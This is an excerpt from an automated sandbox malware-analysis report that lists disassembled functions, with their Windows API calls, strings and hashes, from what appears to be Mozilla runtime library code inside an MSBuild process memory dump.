Opcode Fuzzy Hash: 5c1c4826f8c51e1a139e58de88bb5036dce47c5cab59f94d31a6cf29a5a9e18a
Instruction Fuzzy Hash: B7014BB87402958BDF20DFE9DD18F4237B5E746316F1207A9D90D82B90F774A4049A8E

Function 6C4FF600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4C4A68), ref: 6C4F945E
Part of subcall function 6C4F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4F9470
Part of subcall function 6C4F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4F9482
Part of subcall function 6C4F9420: __Init_thread_footer.LIBCMT ref: 6C4F949F

GetCurrentThreadId.KERNEL32 ref: 6C4FF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C4FF598), ref: 6C4FF621

Part of subcall function 6C4F94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4F94EE
Part of subcall function 6C4F94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C4F9508

GetCurrentThreadId.KERNEL32 ref: 6C4FF637
AcquireSRWLockExclusive.KERNEL32(6C53F4B8,?,?,00000000,?,6C4FF598), ref: 6C4FF645
ReleaseSRWLockExclusive.KERNEL32(6C53F4B8,?,?,00000000,?,6C4FF598), ref: 6C4FF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C4FF62A

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: ec90d6bf54820abbdf9ac97a9c0d7fc6937ab9ba4e0acaa231e1259d5cc6a84f
Instruction ID: 0ca56adb776c7e5c47ce0ad5f5a328a2573dcc593ba0c40093e9c93e40cc55ea
Opcode Fuzzy Hash: ec90d6bf54820abbdf9ac97a9c0d7fc6937ab9ba4e0acaa231e1259d5cc6a84f
Instruction Fuzzy Hash: 88F0B475200610ABEB10BF688C48E5A77BCEBC626DF010055FA4D83742EB364C03CBB9

Function 6C4F05F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C4ECFAE,?,?,?,6C4B31A7), ref: 6C4F05FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C4ECFAE,?,?,?,6C4B31A7), ref: 6C4F0616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C4B31A7), ref: 6C4F061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C4B31A7), ref: 6C4F0627

Strings

<jemalloc>, xrefs: 6C4F05FA, 6C4F060F
: (malloc) Error in VirtualFree(), xrefs: 6C4F061B, 6C4F0625

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 11a9b902a4c552ac40e9bb87f4710af438dc5ebce9c6f860babd40487ebd8509
Instruction ID: 0bc999ce0cb4bd58f9da40385d739a40fb499c1a3e4ee94447b633d022e2474c
Opcode Fuzzy Hash: 11a9b902a4c552ac40e9bb87f4710af438dc5ebce9c6f860babd40487ebd8509
Instruction Fuzzy Hash: A7E08CE2A0105037F618225AAC86DBB769CDBC6234F080039FD0D83342EA4EFD1A51F6

Function 6C4C05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7de5e3a15511c98703591e4d4e89112807d5bd17b499546d2b00057dbc8be52
Instruction ID: 993ac8b22a677b8de0d0ce5ef3808c2b298ffc3e37369486e3f1a53dd7abd046
Opcode Fuzzy Hash: b7de5e3a15511c98703591e4d4e89112807d5bd17b499546d2b00057dbc8be52
Instruction Fuzzy Hash: FAA148B4A01645CFDB24CF29C984E9AFBF1BF49304F44866ED84A97B10E730A955CFA1

Function 6C5114A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5114C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5114E2
GetCurrentThreadId.KERNEL32 ref: 6C511546
InitializeConditionVariable.KERNEL32(?), ref: 6C5115BA
free.MOZGLUE(?), ref: 6C5116B4

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 2e5c59919fcbe1ede11232fe4cc4385c0487d8975261f7e74fa050837be48248
Instruction ID: a33729af6166b04eb8190a59551076bf08169f073f2c61c7fc29c509f0454fd1
Opcode Fuzzy Hash: 2e5c59919fcbe1ede11232fe4cc4385c0487d8975261f7e74fa050837be48248
Instruction Fuzzy Hash: 1E61CD71A04700DBDB21DF24CC84B9AB7B0BF99308F45855CED8A57B02EB31E949CB91

Function 6C50C160 Relevance: 9.2, APIs: 6, Instructions: 174COMMON

Download Yara Rule

APIs

fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C50C1F1
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C50C293
fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C50C29E

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: fgetc$memcpy
String ID:
API String ID: 1522623862-0
Opcode ID: e7c8479539b030dec3f34e3ca397835ef2adb20c51205c4cf373c38a516d752e
Instruction ID: 8a3b06185da5483e61765ef60f322b6de646fd1bf3d0da4055d0b7523859bbb5
Opcode Fuzzy Hash: e7c8479539b030dec3f34e3ca397835ef2adb20c51205c4cf373c38a516d752e
Instruction Fuzzy Hash: 65619B71A00619CFCB24DFA8DC809AEBBB5FF4A314F154529E846E7B50D731B944CBA2

Function 6C509F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C509FDB
free.MOZGLUE(?,?), ref: 6C509FF0
free.MOZGLUE(?,?), ref: 6C50A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C50A0BE
free.MOZGLUE(?,?), ref: 6C50A0D5
free.MOZGLUE(?,?), ref: 6C50A0EB

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: abd2818ccb5acfdf524fa183dbcbf0ff6afaea40d0cf1dcdb6ea4ca2506cf59f
Instruction ID: bf0af97e5c18e58450d05a3a1b1dd2995a53b6715c49b1e239588afadf2b4507
Opcode Fuzzy Hash: abd2818ccb5acfdf524fa183dbcbf0ff6afaea40d0cf1dcdb6ea4ca2506cf59f
Instruction Fuzzy Hash: 1861D0755087069FC711DF18C48099AB3F5FF88329F14865DE8999B702EB32E986CBC1

Function 6C50DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C50DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C50D38A,?), ref: 6C50DC6F
free.MOZGLUE(?,?,?,?,?,6C50D38A,?), ref: 6C50DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C50D38A,?), ref: 6C50DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C50D38A,?), ref: 6C50DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C50D38A,?), ref: 6C50DD4A

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 6dd1d22e78a43ff847c90f7146c70afe0f6e9b0ca4d30826614a6602b4c499ee
Instruction ID: 03ef1da46d4a20a41c1b91a380bbbc1527c4c137c0f08271233f1cab4cbf1814
Opcode Fuzzy Hash: 6dd1d22e78a43ff847c90f7146c70afe0f6e9b0ca4d30826614a6602b4c499ee
Instruction Fuzzy Hash: 344147B5B00615CFCB10DF99C88099AB7B5FF88314B554569D945ABB11EB71FC00CB90

Function 6C50C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C50C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C50C842

Part of subcall function 6C50CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C52B5EB,00000000), ref: 6C50CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C50C863
std::_Facet_Register.LIBCPMT ref: 6C50C875

Part of subcall function 6C4EB13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C52B636,?), ref: 6C4EB143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C50C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C50C8BC

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: e229c594c61d2d957ba3d18a346374e181cc0c7b1c2690bda331c63cc9d910c3
Instruction ID: ff4058c6cb843da655f1c015fab054fca59baf8d522245d472d8aa829870fbd3
Opcode Fuzzy Hash: e229c594c61d2d957ba3d18a346374e181cc0c7b1c2690bda331c63cc9d910c3
Instruction Fuzzy Hash: 9011B671B002059BCB11EFA4CC85DAE7B74FF89355B010529E50A97341EB30AD09CBE9

Function 6C4FE100 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4C4A68), ref: 6C4F945E
Part of subcall function 6C4F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4F9470
Part of subcall function 6C4F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4F9482
Part of subcall function 6C4F9420: __Init_thread_footer.LIBCMT ref: 6C4F949F

GetCurrentThreadId.KERNEL32 ref: 6C4FE12F
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,6C4FE084,00000000), ref: 6C4FE137

Part of subcall function 6C4F94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4F94EE
Part of subcall function 6C4F94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C4F9508

?profiler_stream_json_for_this_process@baseprofiler@mozilla@@YA_NAAVSpliceableJSONWriter@12@N_N1@Z.MOZGLUE ref: 6C4FE196
?profiler_stream_json_for_this_process@baseprofiler@mozilla@@YA_NAAVSpliceableJSONWriter@12@N_N1@Z.MOZGLUE(?,?,?,?,?,?,?,?), ref: 6C4FE1E9

Part of subcall function 6C4F99A0: GetCurrentThreadId.KERNEL32 ref: 6C4F99C1
Part of subcall function 6C4F99A0: AcquireSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4F99CE
Part of subcall function 6C4F99A0: ReleaseSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4F99F8

Strings

[I %d/%d] WriteProfileToJSONWriter, xrefs: 6C4FE13F

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: getenv$?profiler_stream_json_for_this_process@baseprofiler@mozilla@@CurrentExclusiveLockSpliceableThreadWriter@12@$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] WriteProfileToJSONWriter
API String ID: 2491745604-3904374701
Opcode ID: 57a4119433279c2fa516368356711c08b5b58d7f81ad554b75752a9335805a69
Instruction ID: ced72f12f5d5d35341b35128779d7046453511370a53f6a1baa64fe59a568757
Opcode Fuzzy Hash: 57a4119433279c2fa516368356711c08b5b58d7f81ad554b75752a9335805a69
Instruction Fuzzy Hash: 8E3105B16043009FC304DF588840FAAF7E5AFD5208F15852DE8984BB81EB74890ACBD3

Function 6C4EF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C4EF480

Part of subcall function 6C4BF100: LoadLibraryW.KERNEL32(shell32,?,6C52D020), ref: 6C4BF122
Part of subcall function 6C4BF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C4BF132

CloseHandle.KERNEL32(00000000), ref: 6C4EF555

Part of subcall function 6C4C14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C4C1248,6C4C1248,?), ref: 6C4C14C9
Part of subcall function 6C4C14B0: memcpy.VCRUNTIME140(?,6C4C1248,00000000,?,6C4C1248,?), ref: 6C4C14EF

Part of subcall function 6C4BEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C4BEEE3

CreateFileW.KERNEL32 ref: 6C4EF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C4EF523

Strings

\oleacc.dll, xrefs: 6C4EF4CB

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 1566c49cf931a07409f3c9015e9d8ee645957c0fff837c6c465ca05d5a4c7c4b
Instruction ID: d1f00a1974e6da377f91a6aa4ae8ad968c004fab0a6450c57370d6bdc8a4550f
Opcode Fuzzy Hash: 1566c49cf931a07409f3c9015e9d8ee645957c0fff837c6c465ca05d5a4c7c4b
Instruction Fuzzy Hash: 3741C3306097109FE720DF39D884E9AB7F4AF9832AF110A1CF59593690EB30D949CB96

Function 6C4FE020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4C4A68), ref: 6C4F945E
Part of subcall function 6C4F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4F9470
Part of subcall function 6C4F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4F9482
Part of subcall function 6C4F9420: __Init_thread_footer.LIBCMT ref: 6C4F949F

GetCurrentThreadId.KERNEL32 ref: 6C4FE047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4FE04F

Part of subcall function 6C4F94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4F94EE
Part of subcall function 6C4F94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C4F9508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4FE09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C4FE0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C4FE057

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: ebe06929ffa1ae8ee2039ce93195aa1aa68d2d43753b442906874177d5336272
Instruction ID: 0e5b07692701a4830c0a227a0427e9d628f39d87eeffb4f6f5eae73f51ce1f5a
Opcode Fuzzy Hash: ebe06929ffa1ae8ee2039ce93195aa1aa68d2d43753b442906874177d5336272
Instruction Fuzzy Hash: 3221F574B001288FCF00DF64C898EEEB7B5AFC530AF150018E91A97340EB31A90AC7E5

Function 6C5174A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C517526
__Init_thread_footer.LIBCMT ref: 6C517566
__Init_thread_footer.LIBCMT ref: 6C517597

Strings

UnmapViewOfFile2, xrefs: 6C517552
kernel32.dll, xrefs: 6C517557

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 8a261a141e740ee03bc112139a569ad799deac5cf0b9d874d68a8ebc5242959a
Instruction ID: cb49b13ce655e8513e41ddf936c0b4e890670879202231f8a911b5c5472c0eea
Opcode Fuzzy Hash: 8a261a141e740ee03bc112139a569ad799deac5cf0b9d874d68a8ebc5242959a
Instruction Fuzzy Hash: F9213A31708510ABEB24DFEDCC0CE993BB5EB863A9F12066DD40D47F40EB70A80185D9

Function 6C517930 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C4CBF00: ??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C517A3F), ref: 6C4CBF11
Part of subcall function 6C4CBF00: ?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C517A3F), ref: 6C4CBF5D
Part of subcall function 6C4CBF00: ??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C517A3F), ref: 6C4CBF7E

?setprecision@std@@YA?AU?$_Smanip@_J@1@_J@Z.MSVCP140(?,00000012,00000000), ref: 6C517968
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV01@_J@Z.MSVCP140(6C51A264,6C51A264), ref: 6C51799A

Part of subcall function 6C4C9830: free.MOZGLUE(?,?,?,6C517ABE), ref: 6C4C985B

??1?$basic_streambuf@DU?$char_traits@D@std@@@std@@UAE@XZ.MSVCP140 ref: 6C5179E0
??1ios_base@std@@UAE@XZ.MSVCP140 ref: 6C5179E8

Strings

Rl, xrefs: 6C5179D0

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@??1?$basic_streambuf@??1ios_base@std@@??6?$basic_ostream@?init@?$basic_ios@?setprecision@std@@D@std@@@2@_J@1@_Smanip@_U?$_V01@_V?$basic_streambuf@free
String ID: Rl
API String ID: 3421697164-1492440497
Opcode ID: 02c8efefdaff07d4e82d7932adf67ecf5314afb8d30b5330fd019d030163fdc1
Instruction ID: 742712d98023bad835df7fc5789fdd765f03791ab911c531c9f245f91b390e25
Opcode Fuzzy Hash: 02c8efefdaff07d4e82d7932adf67ecf5314afb8d30b5330fd019d030163fdc1
Instruction Fuzzy Hash: 35214A357043049BCB14DF18D885E9EBBE5EF89314F05882DE84A87361DB34A909CBD6

Function 6C51A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C53F770,-00000001,?,6C52E330,?,6C4DBDF7), ref: 6C51A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C4DBDF7), ref: 6C51A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C4DBDF7), ref: 6C51A7E4
LeaveCriticalSection.KERNEL32(6C53F770), ref: 6C51A80A

Strings

accelerator.dll, xrefs: 6C51A7BF

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: d39419d13919f955d63b7669fe631db9e8d1d599a8460a1d303c927aa5966c81
